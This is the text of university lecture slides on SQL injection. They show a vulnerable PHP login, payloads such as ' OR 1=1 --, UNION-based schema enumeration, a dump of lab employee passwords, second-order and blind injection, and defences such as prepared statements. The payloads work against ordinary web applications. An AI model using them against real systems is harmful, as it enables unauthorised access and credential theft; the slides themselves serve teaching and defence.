
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CSC 405 SQL Injection

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10 Fake Points if you get this Finish Cody's Story

A collection of **data** organized to minimize redundant entries

Organized via tables

Author	Title	Туре	Year
Mark Twain	The Adventures of Tom Sawyer	Fiction	1876
Jane Austen	Pride and Prejudice	Fiction	1811
Charles Darwin	The Origin of Species	Non-Fiction	1856
Charles Dickens	A Christmas Story	Fiction	1841
William Shakespeare	Romeo and Juliet	Play	1594


Data from tables can in turn be retrieved through **SQL** (Structured Querying Language)

SELECT * FROM books WHERE year<1820;</pre>


Author	Title	Туре	Year
Jane Austen	Pride and Prejudice	Fiction	1811
William Shakespeare	Romeo and Juliet	Play	1594

Tables can also store various relations through **foreign keys** which reference

entries in other tables



Source: https://docs.yugabyte.com/preview/sample-data/northwind/



SQL Injection

 SQL injection might happen when queries are built using the parameters provided by the users

- \$query = "SELECT * FROM employee WHERE email = '" . \$_POST["email"] . "' "

SQL Injection

- SQL injection might happen when queries are built using the parameters provided by the users
 - \$query = "SELECT * FROM employee WHERE email = '" . \$_POST["email"] . "' "
- By using special characters such as ' (tick), -- (comment), + (add), @variable, @@variable (server internal variable), % (wildcard), it is possible to:
 - Modify queries in an unexpected way
 - Probe the database schema and find out about stored procedures
 - Run commands (xp_commandshell in MS SQL Server)


An Example Web Page

🔀 CSC 405 - SQL Injection Example 🗙	+				~	—		×
\leftrightarrow \rightarrow C (i) localhost/ncsu/	/csc405/injection/			•	☆	*	0	:
	Search	email	password				Login	Î
Example SQL Injection								
						CS	SS by	<u>Bulr</u>

The Form

```
<form action="login" method="POST">
 <div class="field is-grouped">
   <input class="input" type="text" name="email" placeholder="email">
  <input class="input" type="password" name="password" placeholder="password">
   <button type="submit" class="button is-primary">Login</button>
   </div>
</form>
```

The Form



```
$email = $_POST["email"];
$password = $_POST["password"];
$connection = new mysqli(...);
```

```
if (!$result) die($connection->error);
elseif ($result->num_rows) {
    echo "<div>I'm in</div>";
} else {
    echo "<div>Invalid Login</div>";
}
```

```
$email = $ POST["email"];
$password = $_POST["password"]; the POST request
$connection = new mysqli(...);
```

Extract the user inputs from

```
if ($connection->error) die($connection->error);
$query = 'SELECT * FROM employee WHERE email = "' . $email .
         '" AND password = "' . $password . '"';
$result = $connection->query($query);
```

```
if (!$result) die($connection->error);
elseif ($result->num rows) {
   echo "<div>I'm in</div>";
} else {
   echo "<div>Invalid Login</div>";
}
```

```
$result = $connection->query($query);
```

```
if (!$result) die($connection->error);
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```
$email = $_POST["email"];
$password = $_POST["password"];
$connection = new mysqli(...);
```

```
if ($connection->error) die($connection->error);
$query = 'SELECT * FROM employee WHERE email = "' . $email .
         '" AND password = "' . $password . '"';
$result = $connection->query($query);
                                         Construct and execute the
                                         query with $connection
if (!$result) die($connection->error);
elseif ($result->num rows) {
   echo "<div>I'm in</div>";
 } else {
   echo "<div>Invalid Login</div>";
```

```
$email = $_POST["email"];
$password = $_POST["password"];
$connection = new mysqli(...);
```

```
if (!$result) die($connection->error);
elseif ($result->num_rows) {
    echo "<div>I'm in</div>";
} else {
    echo "<div>Invalid Login</div>";
}
```

If there's an entry in the database with that email and password, log them in

```
$email = $_POST["email"];
$password = $_POST["password"];
$connection = new mysqli(...);
```

```
if (!$result) die($connection->error);
elseif ($result->num_rows) {
    echo "<div>I'm in</div>";
} else {
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}
```

Where are the vulnerabilities?

- Could also be " OR 1=1 -
 - Depends on how the developer builds their String

- Could also be " OR 1=1 -
 - Depends on how the developer builds their String
- Given the SQL query string:

```
"SELECT * FROM employee \
    WHERE email = '" . $email . "' AND \
    password = '" . password . "'";
```

 By providing the following username: \$_POST["email"] ⇒ ' OR 1=1 --

- Could also be " OR 1=1 -
 - Depends on how the developer builds their String
- Given the SQL query string:

"SELECT * FROM employee \
 WHERE email = '" . \$email . "' AND \
 password = '" . password . "'";

- By providing the following username:
 \$_POST["email"] ⇒ ' OR 1=1 --
- Results in the following string: SELECT * FROM employee WHERE email='' OR 1=1 --' AND password='doesntmatter'

- Could also be " OR 1=1 -
 - Depends on how the developer builds their String
- Given the SQL query string:

"SELECT * FROM employee \
 WHERE email = '" . \$email . "' AND \
 password = '" . password . "'";

- By providing the following username:
 \$_POST["email"] ⇒ ' OR 1=1 --
- Results in the following string: SELECT * FROM employee WHERE email='' OR 1=1 --' AND password='doesntmatter'
 - "email='' OR 1=1 -- " is true because while email is equal to " (blank), the OR 1=1 is always true
 - The -- converts the rest of the SQL into a comment and therefore AND password ='...' is not evaluated

Injecting SQL Into Different Types of Queries

- SQL injection can modify any type of query such as
 - **SELECT** statements
 - SELECT * FROM accounts WHERE user='\${u}' AND pass='\${p}'
 - INSERT statements
 - INSERT INTO accounts (user, pass) VALUES('\${u}', '\${p}')
 - Note that in this case one must figure out how many values to insert
 - UPDATE statements
 - UPDATE accounts SET pass='\${np}' WHERE user= '\${u}' AND pass='\${p}'
 - **DELETE** statements
 - DELETE * FROM accounts WHERE user='\${u}'

Identifying SQL Injection

- A SQL injection vulnerability can be identified in different ways
 - Negative approach: special-meaning characters in the query will cause an error
 - For example: user=" ' "

Identifying SQL Injection

- A SQL injection vulnerability can be identified in different ways
 - Negative approach: special-meaning characters in the query will cause an error
 - For example: user=" ' "
 - Positive approach: provide an expression that would NOT cause an error
 - For example: "17+5" instead of "22", or a string concatenation

The UNION operator is used to merge the results of two separate queries

SELECT * FROM books WHERE year<1820; UNION SELECT * FROM comics;

Col1	Col2	Col3	Col4	
Jane Austen	Pride and Prejudice	Fiction	1811	
William Shakespeare	Romeo and Juliet	Play	1594	
The Amazing Spider-Man	Stan Lee	1963	Comic	
Action Comics #1	Joe Shuster	1938	Comic	

Assuming **books** and **comics** have the same number of columns

The UNION operator is used to merge the results of two separate queries

SELECT * FROM books WHERE year<1820; UNION SELECT * FROM comics;

Col1	Col2	Col3	Col4	
Jane Austen	Pride and Prejudice	Fiction	1811	
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The Amazing Spider-Man	Stan Lee	1963	Comic	
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Note, the results don't need to follow the same structure; just # of columns

- In a SQL injection attack this can be exploited to extract information from the database
- Original query:
 - SELECT id, name, price FROM products WHERE
 brand='\${b}'
 Retrieve the ID, name, and price of a product

- In a SQL injection attack this can be exploited to extract information from the database
- Original query:
 - SELECT id, name, price FROM products WHERE
 brand='\${b}'
- Modified query passing \${b}="foo" UNION...":
 - SELECT id, name, price FROM products WHERE brand = 'foo' UNION SELECT user, pass, NULL FROM accounts -- '

- In a SQL injection attack this can be exploited to extract information from the database
- Original query:
 - SELECT id, name, price FROM products WHERE
 brand='\${b}'
- Modified query passing \${b}="foo" UNION...":
 - SELECT id, name, price FROM products WHERE brand = 'foo' UNION SELECT user, pass, NULL FROM accounts -- '
- For this attack to work the attacker **must know**
 - The structure of the query (number of parameters and types have to be compatible)
 - The name of the table and columns

Learning Query Parameter Size and Type

- Apply increasing **UNION** statements until the query is successful
 - UNION SELECT NULL
 - UNION SELECT NULL, NULL
 - UNION SELECT NULL, NULL, NULL
 - UNION SELECT NULL, NULL, NULL, ...

Depending on the Database, **UNION** can crash because you provide too many parameters or not enough

Learning Query Parameter Size and Type

- Apply increasing **UNION** statements until the query is successful
 - UNION SELECT NULL
 - UNION SELECT NULL, NULL
 - UNION SELECT NULL, NULL, NULL
 - UNION SELECT NULL, NULL, NULL, ...
- The type of columns can be determined using a similar technique
 - UNION SELECT 'foo', NULL, NULL
 - UNION SELECT NULL, 'foo', NULL
 - UNION SELECT NULL, NULL, 'foo'

Let's you determine if a column is **numeric**, **text**, etc.

Determining Table and Column Names

- Table and column names are database specific and therefore needs to be explored
 - Oracle
 - The **user_objects** table provides information about the tables created for an application
 - The **user_tab_column** table provides the names of the columns associated with a table
 - MS-SQL
 - The **sysobjects** table provides information about the tables in the database
 - The syscolumns table provides the names of the columns associated with a table
 - MySQL (and MariaDB)
 - The **information_schema** provides information about the tables and columns

The ORDER Operator

- ORDER BY # can tell the query which column to order results by •
- SELECT Name, Composer, UnitPrice FROM Track WHERE Name LIKE • '...' ORDER BY Name;

Name: 5.15 Composer: Pete Townshend Unit Price: 0.99		sults in order by c <mark>k Name</mark>
Name: 32 Dentes Composer: Titas Unit Price: 0.99		1/ 1 1
Name: 3 Gymnopedies: No.1 - Lent Et Grave, Composer: Erik Satie Unit Price: 0.99	No.3 - Lent Et Douloureux	
Name: 24 Caprices, Op. 1, No. 24, for Solo Vic Composer: Niccolo Paganini Unit Price: 0.99	blin, in A Minor	

The ORDER Operator

- Can also be used to determine the number of columns because ORDER BY # says which column to sort be
- SELECT Name, Composer, UnitPrice FROM Track WHERE Name LIKE
 - '...' ORDER BY 5;

Unknown column '5' in 'order clause'

Errors because there is no 5th column to sort by

Extracting Data from SQL Leaks

• Determine the query structure



Query Entered

SELECT Name, Composer, UnitPrice FROM Track WHERE Name LIKE '%' ORDER BY 3;-- %'

Name: Sobremesa Composer: Chico Science Unit Price: 0.99

Name: Comportamento Geral Composer: Gonzaga Jr Unit Price: 0.99

Extracting Data from SQL Leaks

• Determine the query structure

Query Entered

SELECT Name, Composer, UnitPrice FROM Track WHERE Name LIKE '%' UNION SELECT 1, 2, 3;-- %'

Name: 1 Composer: 2 Unit Price: 3.00

We now know the query's structure and will evaluate anything passed into results

Determine the database •

UNION SELECT 1,2,table name FROM information schema.tables WHERE table_schema=database();-- %'

Name: 1 Composer: 2

Unit Price: album

Name: 1 Composer: 2 Unit Price: artist

Name: 1 Composer: 2 Unit Price: customer

Name: 1 Composer: 2 Unit Price: employee

Name: 1 Composer: 2 Unit Price: genre

Name: 1 Composer: 2 Unit Price: invoice

Name: 1 Composer: 2 Unit Price: invoiceline

Name: 1 Composer: 2 Unit Price: mediatype

Name: 1 Composer: 2 Unit Price: playlist

Name: 1 Composer: 2 Unit Price: playlisttrack

Query will return all tables stored on database()

Determine the columns for the table you want to extract

UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_name="employee";-- %'

Name: 1	Name: 1	Name: 1
Composer: 2	Composer: 2	Composer: 2
Unit Price: BirthDate	Unit Price: EmployeeId	Unit Price: PostalCode
Name: 1	Name: 1	Name: 1
Composer: 2	Composer: 2	Composer: 2
Unit Price: HireDate	Unit Price: LastName	Unit Price: Phone
Name: 1	Name: 1	Name: 1
Composer: 2	Composer: 2	Composer: 2
Unit Price: Address	Unit Price: FirstName	Unit Price: Fax
Name: 1	Name: 1	Name: 1
Composer: 2	Composer: 2	Composer: 2
Unit Price: City	Unit Price: Title	Unit Price: Email
Name: 1	Name: 1	Name: 1
Composer: 2	Composer: 2	Composer: 2
Unit Price: State	Unit Price: ReportsTo	Unit Price: Password

Returns the columns for the employee table

• Determine the columns for the table you want to extract

UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_name="employee"; -- %'

Name: 1	Name: 1	Name: 1	
Composer: 2	Composer: 2	Composer: 2	
Unit Price: BirthDate	Unit Price: EmployeeId	Unit Price: PostalCode	
Name: 1	Name: 1	Name: 1	
Composer: 2	Composer: 2	Composer: 2	
Unit Price: HireDate	Unit Price: LastName	Unit Price: Phone	
Name: 1	Name: 1	Name: 1	
Composer: 2	Composer: 2	Composer: 2	
Unit Price: Address	Unit Price: FirstName	Unit Price: Fax	
Name: 1	Name: 1	Name: 1	Pick the columns
Composer: 2	Composer: 2	Composer: 2	
Unit Price: City	Unit Price: Title	Unit Price: Email	
Name: 1	Name: 1	Name: 1	you want
Composer: 2	Composer: 2	Composer: 2	
Unit Price: State	Unit Price: ReportsTo	Unit Price: Password	

• ...and write your query

UNION SELECT LastName, email, password FROM employee; -- %'

Name: Adams Composer: andrew@chinookcorp.com Unit Price: password1

Name: Edwards Composer: nancy@chinookcorp.com Unit Price: password

Name: Peacock Composer: jane@chinookcorp.com Unit Price: hunter22

Name: Park Composer: margaret@chinookcorp.com Unit Price: drowssap Name: Johnson Composer: steve@chinookcorp.com Unit Price: qwertyuiop

Name: Mitchell Composer: michael@chinookcorp.com Unit Price: michaelchinookcorpcom

Name: King Composer: robert@chinookcorp.com Unit Price: robert123!@#

Name: Callahan Composer: laura@chinookcorp.com Unit Price: S3cur3P4\$\$w0rd

Second-Order SQL Injection

- In a second-order SQL injection, the code is injected into an application, but the SQL statement is invoked at a later point in time e.g., Guestbook, statistics page, etc.
- Even if application escapes single quotes, second order SQL injection might be possible
 - Attacker sets user name to: john'--, application safely escapes value to john''-- (note the two single quotes)
 - At a later point, attacker changes password (and "sets" a new password for victim john):

```
UPDATE users SET password='hax' WHERE
database_handle("username") = 'john'--'
```

register.php

<?php

session_start();

\$sql = "insert into users (username, password) values ('" .
mysql_real_escape_string(\$_POST['name']) . "', '" .
mysql_real_escape_string(\$_POST['password']) . "');";

mysq_query(\$sql);

\$user_id = mysql_insert_id();

change_password.php

<?php

```
session_start();
$new_password = $_POST['password'];
$res = mysql_query("select username, password from users where
id = '" . $_SESSION['uid'] . "';");
$row = mysql_fetch_assoc($result);
$query = "update users set password = '" .
```

mysql_real_escape_string(\$new_password) . "' where username = '"
.\$row['username']."' and password = '".\$row['password']."';";

Blind SQL Injection

- A typical countermeasure is to prohibit the display of error messages: However, a web application may still be vulnerable to blind SQL injection
- Example: a news site
 - Press releases are accessed with pressRelease.jsp?id=5
 - A SQL query is created and sent to the database:
 - SELECT title, description FROM pressReleases
 WHERE id=5;
 - All error messages are filtered by the application

Blind SQL Injection

- How can we inject statements into the application and exploit it?
 - We do not receive feedback from the application so we can use a trial-and-error approach
 - First, we try to inject pressRelease.jsp?id=5 AND 1=1
 - The SQL query is created and sent to the database:
 - SELECT title, description FROM pressReleases
 WHERE id=5 AND 1=1
 - If there is a SQL injection vulnerability, the same press release should be returned
 - If input is validated, id=5 AND 1=1 should be treated as the value

Blind SQL Injection

- When testing for vulnerability, we know 1=1 is always true
 - However, when we inject other statements, we do not have any information
 - What we know: If the same record is returned, the statement must have been true
 - For example, we can ask server if the current user is "h4x0r":
 - pressRelease.jsp?id=5 AND user_name()='h4x0r'
 - By combining subqueries and functions, we can ask more complex questions (e.g., extract the name of a database table character by character)
 - pressRelease.jsp?id=5 AND SUBSTRING(user_name(), 1,
 1) < '?'</pre>

SQL Injection Solutions

• NEVER ALLOW RAW INPUTS FROM CLIENTS

\$email = \$mysqli->real_escape_string(\$_POST["email"]);

\$pw = \$mysqli->real_escape_string(\$_POST["password"]);

• Stored procedures

- Isolate applications from SQL
- All SQL statements required by the application are stored procedures on the database server
- Prepared statements
 - Statements compiled into SQL statements before user input is added
- Objectify Query with Third-Party Libraries
 - Warning if they are vulnerable, you are vulnerable.

SQL Injection Solutions: Stored Procedures

• Original query:

String query = "SELECT title, description FROM
pressReleases WHERE id= " +
request.getParameter("id");
Statement stat = dbConnection.createStatement();
ResultSet rs = stat.executeQuery(query);

• Takes the SQL statements and transforms it into a function you pass parameters to

CREATE PROCEDURE getPressRelease @id integer AS
SELECT title, description FROM pressReleases WHERE
Id = @id

SQL Injection Solutions: Stored Procedures

- Instead of string-building SQL, a stored procedure is invoked
- For example, in Java: CallableStatements cs = dbConnection.prepareCall("{call getPressRelease(?)}"
);
 cs.setInt(1,

Integer.parseInt(request.getParameter("id")));
ResultSet rs = cs.executeQuery();

SQL Injection Solutions: Prepared Statements


\$stmt = \$mysqli->stmt_init();

\$stmt->prepare("SELECT * FROM employee WHERE email=?"));
\$stmt->bind_param("s", \$email);
(* two con be "c"

/* type can be "s" = string, "i" = integer ... */

```
$stmt->execute();
$row = $stmt->fetch_assoc();
printf("%s is Employee %s\n", $email, $row["EmpId"]);
$stmt->close();
```

SQL Injection Solutions: Objectify Queries



More on hashing password next week

Security Zen

Inside Out Security Blog / Threat Research

Varonis Threat Labs Discovers SQLi and Access Flaws in Zendesk

Tal Pele

Tal Peleg | (9) 3 min read | Last updated November 15, 2022

value_in_account_currency\" alias=\"value_in_accou	"No data available. Check your filters and calc
nt_currency\"/>\n <field name='\"win</td'><td>ulations.",</td></field>	ulations.",
_likelihood\" alias=\"win_likelihood\"/>\n	"additionalInfos":[
<field alias='\"name\"/' name="email">\n</field>	"SELECT BIMESQL.\"sell deals name\" AS \"coll
<field alias='\"cre</td' name='\"creator_id\"'><td>\" FROM (SELECT \"sell deals \".\"email\" AS \</td></field>	\" FROM (SELECT \"sell deals \".\"email\" AS \
ator_id\"/>\n <field name='\"creator</td'><td>"sell deals name\" FROM \"</td></field>	"sell deals name\" FROM \"
\" alias=\"creator\"/>\n <field nam<="" td=""><td>\".\"users\" \"sell_deals\") BIMESQL WHERE</td></field>	\".\"users\" \"sell_deals\") BIMESQL WHERE
e=\"owner_id\" alias=\"owner_id\"/>\n	(BIMESQL.\"sell deals name\") IN ('Hack The
<field alias='\"owner\"/' name='\"owner\"'>\n</field>	Box') GROUP BY BIMESQL.\"sell_deals_name\" OR
<field alias='\"conta</td' name='\"contact_id\"'><td>DER BY BIMESQL.\"sell deals name\" ASC LIMIT</td></field>	DER BY BIMESQL.\"sell deals name\" ASC LIMIT
ct_id\"/>\n <field name='\"organizat</td'><td>50000"</td></field>	50000"
ion_id\" alias=\"organization_id\"/>\n	
<field alias='\"funnel</td' name='\"funnel_stage_id\"'><td>),</td></field>),

https://www.varonis.com/blog/zendesk-sgl-injection-and-access-flaws

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